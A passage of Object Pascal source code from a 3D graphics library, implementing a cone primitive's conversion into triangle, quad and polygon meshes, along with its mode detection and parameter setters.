F.Point1 := (i - 1) * (FSides + 1) + j;
F.Point2 := i * (FSides + 1) + j;
F.Point3 := (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := (i - 1) * (FSides + 1) + j + 1;
F.Point2 := i * (FSides + 1) + j;
F.Point3 := i * (FSides + 1) + j + 1;
AddFace(F);
end;
for si := 1 to 2 do
begin
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1;
F.Point2 := Offset[si] + 1 + j;
F.Point3 := Offset[si] + 1 + j + 1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := Offset[si] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[si] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
F.Point1 := Offset[si] + 1 + (i - 1) * (FSides + 1) + j + 1;
F.Point2 := Offset[si] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[si] + 1 + i * (FSides + 1) + j + 1;
AddFace(F);
end;
end;
end; //M = 5
CalcNormals;
CalcBoundingBox;
PGLDColor4f(Color.GetPointer)^ := Self.FColor.Color4f;
PGLDVector4f(Position.GetPointer)^ := Self.FPosition.Vector4f;
PGLDRotation3D(Rotation.GetPointer)^ := Self.FRotation.Params;
TGLDTriMesh(Dest).Selected := Self.Selected;
TGLDTriMesh(Dest).Name := Self.Name;
end;
Result := True;
end;
function TGLDCone.ConvertToQuadMesh(Dest: TPersistent): GLboolean;
var
M: GLubyte;
Offset: array[1..2] of GLuint;
si, i, j: GLushort;
F: TGLDQuadFace;
begin
Result := False;
if not Assigned(Dest) then Exit;
if not (Dest is TGLDQuadMesh) then Exit;
M := GetMode;
with TGLDQuadMesh(Dest) do
begin
DeleteVertices;
F.Smoothing := GLD_SMOOTH_ALL;
if M = 0 then
begin
VertexCapacity := 1 + FHeightSegs * FSides + 1 + FCapSegs * FSides;
Offset[1] := 1 + FHeightSegs * FSides;
AddVertex(GetSidePoint(1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
AddVertex(GetSidePoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT1;
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
if j = FSides then
F.Point3 := 1 + 1
else F.Point3 := 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if HeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * FSides + j;
F.Point2 := 1 + i * FSides + j;
if j = FSides then
begin
F.Point3 := 1 + i * FSides + 1;
F.Point4 := 1 + (i - 1) * FSides + 1;
end else
begin
F.Point3 := 1 + i * FSides + j + 1;
F.Point4 := 1 + (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
if j = FSides then
F.Point3 := Offset[1] + 2
else F.Point3 := Offset[1] + 2 + j;
F.Point4 := F.Point1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + j;
F.Point2 := Offset[1] + 1 + i * FSides + j;
if j = FSides then
begin
F.Point3 := Offset[1] + 1 + i * FSides + 1;
F.Point4 := Offset[1] + 1 + (i - 1) * FSides + 1;
end else
begin
F.Point3 := Offset[1] + 1 + i * FSides + j + 1;
F.Point4 := Offset[1] + 1 + (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 0
if M = 1 then
begin
VertexCapacity := 1 + FHeightSegs * FSides + 1 + FCapSegs * FSides;
Offset[1] := 1 + FHeightSegs * FSides;
AddVertex(GetSidePoint(FHeightSegs + 1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides do
AddVertex(GetTopPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT2;
for j := 1 to FSides do
begin
F.Point1 := 1 + (FHeightSegs - 1) * FSides + j;
F.Point2 := 1;
if j = FSides then
F.Point3 := 1 + (FHeightSegs - 1) * FSides + 1
else F.Point3 := 1 + (FHeightSegs - 1) * FSides + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * FSides + j;
F.Point2 := 1 + i * FSides + j;
if j = FSides then
begin
F.Point3 := 1 + i * FSides + 1;
F.Point4 := 1 + (i - 1) * FSides + 1;
end else
begin
F.Point3 := 1 + i * FSides + j + 1;
F.Point4 := 1 + (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
if j = FSides then
F.Point3 := Offset[1] + 2
else F.Point3 := Offset[1] + 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FCapSegs > 0 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * FSides + j;
F.Point2 := Offset[1] + 1 + i * FSides + j;
if j = FSides then
begin
F.Point3 := Offset[1] + 1 + i * FSides + 1;
F.Point4 := Offset[1] + 1 + (i - 1) * FSides + 1;
end else
begin
F.Point3 := Offset[1] + 1 + i * FSides + j + 1;
F.Point4 := Offset[1] + 1 + (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
end else //M = 1
if M = 2 then
begin
VertexCapacity := (FHeightSegs + 1) * FSides +
2 * (1 + FCapSegs * FSides);
Offset[1] := (FHeightSegs + 1) * FSides;
Offset[2] := Offset[1] + 1 + FCapSegs * FSides;
for i := 1 to FHeightSegs + 1 do
for j := 1 to FSides do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides do
AddVertex(GetTopPoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * FSides + j;
F.Point2 := i * FSides + j;
if j = FSides then
begin
F.Point3 := i * FSides + 1;
F.Point4 := (i - 1) * FSides + 1;
end else
begin
F.Point3 := i * FSides + j + 1;
F.Point4 := (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
for si := 1 to 2 do
begin
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1;
F.Point2 := Offset[si] + 1 + j;
if j = FSides then
F.Point3 := Offset[si] + 1 + 1
else F.Point3 := Offset[si] + 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1 + (i - 1) * FSides + j;
F.Point2 := Offset[si] + 1 + i * FSides + j;
if j = FSides then
begin
F.Point3 := Offset[si] + 1 + i * FSides + 1;
F.Point4 := Offset[si] + 1 + (i - 1) * FSides + 1;
end else
begin
F.Point3 := Offset[si] + 1 + i * FSides + j + 1;
F.Point4 := Offset[si] + 1 + (i - 1) * FSides + j + 1;
end;
AddFace(F);
end;
end;
end else //M = 2
if M = 3 then
begin
VertexCapacity := 1 + FHeightSegs * (FSides + 1) +
FCapSegs * (FSides + 1);
Offset[1] := 1 + FHeightSegs * (FSides + 1);
AddVertex(GetSidePoint(1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides + 1 downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT1;
for j := 1 to FSides do
begin
F.Point1 := 1;
F.Point2 := 1 + j;
F.Point3 := 2 + j;
F.Point4 := F.Point1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + i * (FSides + 1) + j + 1;
F.Point4 := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
F.Point3 := Offset[1] + 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := Offset[1] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[1] + 1 + i * (FSides + 1) + j + 1;
F.Point4 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
end else //M = 3
if M = 4 then
begin
VertexCapacity := 1 + FHeightSegs * (FSides + 1) +
1 + FCapSegs * (FSides + 1);
Offset[1] := 1 + FHeightSegs * (FSides + 1);
AddVertex(GetSidePoint(FHeightSegs + 1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides + 1 do
AddVertex(GetTopPoint(i + 1, j)^, True);
F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT2;
for j := 1 to FSides do
begin
F.Point1 := 1 + (FHeightSegs - 1) * (FSides + 1) + j;
F.Point2 := 1;
F.Point3 := 1 + (FHeightSegs - 1) * (FSides + 1) + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := 1 + i * (FSides + 1) + j;
F.Point3 := 1 + i * (FSides + 1) + j + 1;
F.Point4 := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1;
F.Point2 := Offset[1] + 1 + j;
F.Point3 := Offset[1] + 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FCapSegs > 0 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := Offset[1] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[1] + 1 + i * (FSides + 1) + j + 1;
F.Point4 := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
end else //M = 4
if M = 5 then
begin
VertexCapacity := (FHeightSegs + 1) * (FSides + 1) +
2 * (1 + FCapSegs * (FSides + 1));
Offset[1] := (FHeightSegs + 1) * (FSides + 1);
Offset[2] := Offset[1] + 1 + FCapSegs * (FSides + 1);
for i := 1 to FHeightSegs + 1 do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides + 1 do
AddVertex(GetTopPoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides + 1 downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
begin
F.Point1 := (i - 1) * (FSides + 1) + j;
F.Point2 := i * (FSides + 1) + j;
F.Point3 := i * (FSides + 1) + j + 1;
F.Point4 := (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
for si := 1 to 2 do
begin
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1;
F.Point2 := Offset[si] + 1 + j;
F.Point3 := Offset[si] + 1 + j + 1;
F.Point4 := F.Point1;
AddFace(F);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
F.Point1 := Offset[si] + 1 + (i - 1) * (FSides + 1) + j;
F.Point2 := Offset[si] + 1 + i * (FSides + 1) + j;
F.Point3 := Offset[si] + 1 + i * (FSides + 1) + j + 1;
F.Point4 := Offset[si] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(F);
end;
end;
end; //M = 5
CalcNormals;
CalcBoundingBox;
PGLDColor4f(Color.GetPointer)^ := Self.FColor.Color4f;
PGLDVector4f(Position.GetPointer)^ := Self.FPosition.Vector4f;
PGLDRotation3D(Rotation.GetPointer)^ := Self.FRotation.Params;
TGLDQuadMesh(Dest).Selected := Self.Selected;
TGLDQuadMesh(Dest).Name := Self.Name;
end;
Result := True;
end;
function TGLDCone.ConvertToPolyMesh(Dest: TPersistent): GLboolean;
var
M: GLubyte;
Offset: array[1..2] of GLuint;
si, i, j: GLushort;
P: TGLDPolygon;
begin
Result := False;
if not Assigned(Dest) then Exit;
if not (Dest is TGLDPolyMesh) then Exit;
M := GetMode;
with TGLDPolyMesh(Dest) do
begin
DeleteVertices;
if M = 0 then
begin
VertexCapacity := 1 + FHeightSegs * FSides + 1 + FCapSegs * FSides;
Offset[1] := 1 + FHeightSegs * FSides;
AddVertex(GetSidePoint(1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
AddVertex(GetSidePoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
//F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT1;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := 1;
P.Data^[2] := 1 + j;
if j = FSides then
P.Data^[3] := 1 + 1
else P.Data^[3] := 1 + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
//F.Smoothing := GLD_SMOOTH_ALL;
if HeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := 1 + (i - 1) * FSides + j;
P.Data^[2] := 1 + i * FSides + j;
if j = FSides then
begin
P.Data^[3] := 1 + i * FSides + 1;
P.Data^[4] := 1 + (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := 1 + i * FSides + j + 1;
P.Data^[4] := 1 + (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := Offset[1] + 1;
P.Data^[2] := Offset[1] + 1 + j;
if j = FSides then
P.Data^[3] := Offset[1] + 2
else P.Data^[3] := Offset[1] + 2 + j;
//F.Point4 := F.Point1;
AddFace(P);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := Offset[1] + 1 + (i - 1) * FSides + j;
P.Data^[2] := Offset[1] + 1 + i * FSides + j;
if j = FSides then
begin
P.Data^[3] := Offset[1] + 1 + i * FSides + 1;
P.Data^[4] := Offset[1] + 1 + (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := Offset[1] + 1 + i * FSides + j + 1;
P.Data^[4] := Offset[1] + 1 + (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
end else //M = 0
if M = 1 then
begin
VertexCapacity := 1 + FHeightSegs * FSides + 1 + FCapSegs * FSides;
Offset[1] := 1 + FHeightSegs * FSides;
AddVertex(GetSidePoint(FHeightSegs + 1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides do
AddVertex(GetTopPoint(i + 1, j)^, True);
//F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT2;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := 1 + (FHeightSegs - 1) * FSides + j;
P.Data^[2] := 1;
if j = FSides then
P.Data^[3] := 1 + (FHeightSegs - 1) * FSides + 1
else P.Data^[3] := 1 + (FHeightSegs - 1) * FSides + j + 1;
//P.Data^[4] := F.Point1;
AddFace(P);
end;
//F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := 1 + (i - 1) * FSides + j;
P.Data^[2] := 1 + i * FSides + j;
if j = FSides then
begin
P.Data^[3] := 1 + i * FSides + 1;
P.Data^[4] := 1 + (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := 1 + i * FSides + j + 1;
P.Data^[4] := 1 + (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := Offset[1] + 1;
P.Data^[2] := Offset[1] + 1 + j;
if j = FSides then
P.Data^[3] := Offset[1] + 2
else P.Data^[3] := Offset[1] + 1 + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
if FCapSegs > 0 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := Offset[1] + 1 + (i - 1) * FSides + j;
P.Data^[2] := Offset[1] + 1 + i * FSides + j;
if j = FSides then
begin
P.Data^[3] := Offset[1] + 1 + i * FSides + 1;
P.Data^[4] := Offset[1] + 1 + (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := Offset[1] + 1 + i * FSides + j + 1;
P.Data^[4] := Offset[1] + 1 + (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
end else //M = 1
if M = 2 then
begin
VertexCapacity := (FHeightSegs + 1) * FSides +
2 * (1 + FCapSegs * FSides);
Offset[1] := (FHeightSegs + 1) * FSides;
Offset[2] := Offset[1] + 1 + FCapSegs * FSides;
for i := 1 to FHeightSegs + 1 do
for j := 1 to FSides do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides do
AddVertex(GetTopPoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := (i - 1) * FSides + j;
P.Data^[2] := i * FSides + j;
if j = FSides then
begin
P.Data^[3] := i * FSides + 1;
P.Data^[4] := (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := i * FSides + j + 1;
P.Data^[4] := (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
for si := 1 to 2 do
begin
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := Offset[si] + 1;
P.Data^[2] := Offset[si] + 1 + j;
if j = FSides then
P.Data^[3] := Offset[si] + 1 + 1
else P.Data^[3] := Offset[si] + 1 + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := Offset[si] + 1 + (i - 1) * FSides + j;
P.Data^[2] := Offset[si] + 1 + i * FSides + j;
if j = FSides then
begin
P.Data^[3] := Offset[si] + 1 + i * FSides + 1;
P.Data^[4] := Offset[si] + 1 + (i - 1) * FSides + 1;
end else
begin
P.Data^[3] := Offset[si] + 1 + i * FSides + j + 1;
P.Data^[4] := Offset[si] + 1 + (i - 1) * FSides + j + 1;
end;
AddFace(P);
end;
end;
end else //M = 2
if M = 3 then
begin
VertexCapacity := 1 + FHeightSegs * (FSides + 1) +
FCapSegs * (FSides + 1);
Offset[1] := 1 + FHeightSegs * (FSides + 1);
AddVertex(GetSidePoint(1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides + 1 downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
//F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT1;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := 1;
P.Data^[2] := 1 + j;
P.Data^[3] := 2 + j;
//F.Point4 := F.Point1;
AddFace(P);
end;
//F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := 1 + (i - 1) * (FSides + 1) + j;
P.Data^[2] := 1 + i * (FSides + 1) + j;
P.Data^[3] := 1 + i * (FSides + 1) + j + 1;
P.Data^[4] := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := Offset[1] + 1;
P.Data^[2] := Offset[1] + 1 + j;
P.Data^[3] := Offset[1] + 1 + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := Offset[1] + 1 + (i - 1) * (FSides + 1) + j;
P.Data^[2] := Offset[1] + 1 + i * (FSides + 1) + j;
P.Data^[3] := Offset[1] + 1 + i * (FSides + 1) + j + 1;
P.Data^[4] := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
end else //M = 3
if M = 4 then
begin
VertexCapacity := 1 + FHeightSegs * (FSides + 1) +
1 + FCapSegs * (FSides + 1);
Offset[1] := 1 + FHeightSegs * (FSides + 1);
AddVertex(GetSidePoint(FHeightSegs + 1, 1)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides + 1 do
AddVertex(GetTopPoint(i + 1, j)^, True);
//F.Smoothing := GLD_SMOOTH_ALL - GLD_SMOOTH_POINT2;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := 1 + (FHeightSegs - 1) * (FSides + 1) + j;
P.Data^[2] := 1;
P.Data^[3] := 1 + (FHeightSegs - 1) * (FSides + 1) + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
//F.Smoothing := GLD_SMOOTH_ALL;
if FHeightSegs > 1 then
for i := 1 to FHeightSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := 1 + (i - 1) * (FSides + 1) + j;
P.Data^[2] := 1 + i * (FSides + 1) + j;
P.Data^[3] := 1 + i * (FSides + 1) + j + 1;
P.Data^[4] := 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := Offset[1] + 1;
P.Data^[2] := Offset[1] + 1 + j;
P.Data^[3] := Offset[1] + 1 + j + 1;
//F.Point4 := F.Point1;
AddFace(P);
end;
if FCapSegs > 0 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := Offset[1] + 1 + (i - 1) * (FSides + 1) + j;
P.Data^[2] := Offset[1] + 1 + i * (FSides + 1) + j;
P.Data^[3] := Offset[1] + 1 + i * (FSides + 1) + j + 1;
P.Data^[4] := Offset[1] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
end else //M = 4
if M = 5 then
begin
VertexCapacity := (FHeightSegs + 1) * (FSides + 1) +
2 * (1 + FCapSegs * (FSides + 1));
Offset[1] := (FHeightSegs + 1) * (FSides + 1);
Offset[2] := Offset[1] + 1 + FCapSegs * (FSides + 1);
for i := 1 to FHeightSegs + 1 do
for j := 1 to FSides + 1 do
AddVertex(GetSidePoint(i, j)^, True);
AddVertex(GetTopPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := 1 to FSides + 1 do
AddVertex(GetTopPoint(i + 1, j)^, True);
AddVertex(GetBottomPoint(1, 1)^, True);
for i := 1 to FCapSegs do
for j := FSides + 1 downto 1 do
AddVertex(GetBottomPoint(i + 1, j)^, True);
for i := 1 to FHeightSegs do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1] := (i - 1) * (FSides + 1) + j;
P.Data^[2] := i * (FSides + 1) + j;
P.Data^[3] := i * (FSides + 1) + j + 1;
P.Data^[4] := (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
for si := 1 to 2 do
begin
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 3);
P.Data^[1] := Offset[si] + 1;
P.Data^[2] := Offset[si] + 1 + j;
P.Data^[3] := Offset[si] + 1 + j + 1;
//P.Data^[4] := F.Point1;
AddFace(P);
end;
if FCapSegs > 1 then
for i := 1 to FCapSegs - 1 do
for j := 1 to FSides do
begin
P := GLD_STD_POLYGON;
GLDURealloc(P, 4);
P.Data^[1]:= Offset[si] + 1 + (i - 1) * (FSides + 1) + j;
P.Data^[2] := Offset[si] + 1 + i * (FSides + 1) + j;
P.Data^[3] := Offset[si] + 1 + i * (FSides + 1) + j + 1;
P.Data^[4] := Offset[si] + 1 + (i - 1) * (FSides + 1) + j + 1;
AddFace(P);
end;
end;
end; //M = 5
CalcNormals;
CalcBoundingBox;
PGLDColor4f(Color.GetPointer)^ := Self.FColor.Color4f;
PGLDVector4f(Position.GetPointer)^ := Self.FPosition.Vector4f;
PGLDRotation3D(Rotation.GetPointer)^ := Self.FRotation.Params;
TGLDPolyMesh(Dest).Selected := Self.Selected;
TGLDPolyMesh(Dest).Name := Self.Name;
end;
Result := True;
end;
{$WARNINGS ON}
function TGLDCone.GetMode: GLubyte;
begin
if GLDXGetAngle(FStartAngle, FSweepAngle) = 360 then
begin
if (FRadius2 = 0) and (FRadius1 > 0) then
Result := 0 else
if (FRadius2 > 0) and (FRadius1 = 0) then
Result := 1 else
if (FRadius2 > 0) and (FRadius1 > 0) then
Result := 2
else Result := 6;
end else
begin
if (FRadius2 = 0) and (FRadius1 > 0) then
Result := 3 else
if (FRadius2 > 0) and (FRadius1 = 0) then
Result := 4 else
if (FRadius2 > 0) and (FRadius1 > 0) then
Result := 5
else Result := 6;
end;
end;
function TGLDCone.GetSidePoint(i, j: GLushort): PGLDVector3f;
begin
Result := @FSidePoints^[(i - 1) * (FSides + 3) + j + 1];
end;
function TGLDCone.GetTopPoint(i, j: GLushort): PGLDVector3f;
begin
Result := @FTopPoints^[(i - 1) * (FSides + 3) + j + 1];
end;
function TGLDCone.GetBottomPoint(i, j: GLushort): PGLDVector3f;
begin
Result := @FBottomPoints^[(i - 1) * (FSides + 3) + j + 1];
end;
procedure TGLDCone.SetRadius1(Value: GLfloat);
begin
if FRadius1 = Value then Exit;
FRadius1 := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetRadius2(Value: GLfloat);
begin
if FRadius2 = Value then Exit;
FRadius2 := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetHeight(Value: GLfloat);
begin
if FHeight = Value then Exit;
FHeight := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetHeightSegs(Value: GLushort);
begin
if FHeightSegs = Value then Exit;
FHeightSegs := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetCapSegs(Value: GLushort);
begin
if FCapSegs = Value then Exit;
FCapSegs := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetSides(Value: GLushort);
begin
if FSides = Value then Exit;
FSides := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetStartAngle(Value: GLfloat);
begin
if FStartAngle = Value then Exit;
FStartAngle := Value;
CreateGeometry;
Change;
end;
procedure TGLDCone.SetSweepAngle(Value: GLfloat);
begin
if FSweepAngle = Value then Exit;
FSweepAngle := Value;
CreateGeometry;
Change;
end;
function TGLDCone.GetParams: TGLDConeParams;
begin
Result := GLDXConeParams(FColor.Color3ub, FRadius1, FRadius2,
FHeight, FHeightSegs, FCapSegs, FSides, FStartAngle, FSweepAngle,
FPosition.Vector3f, FRotation.Params);
end;
procedure TGLDCone.SetParams(Value: TGLDConeParams);
begin
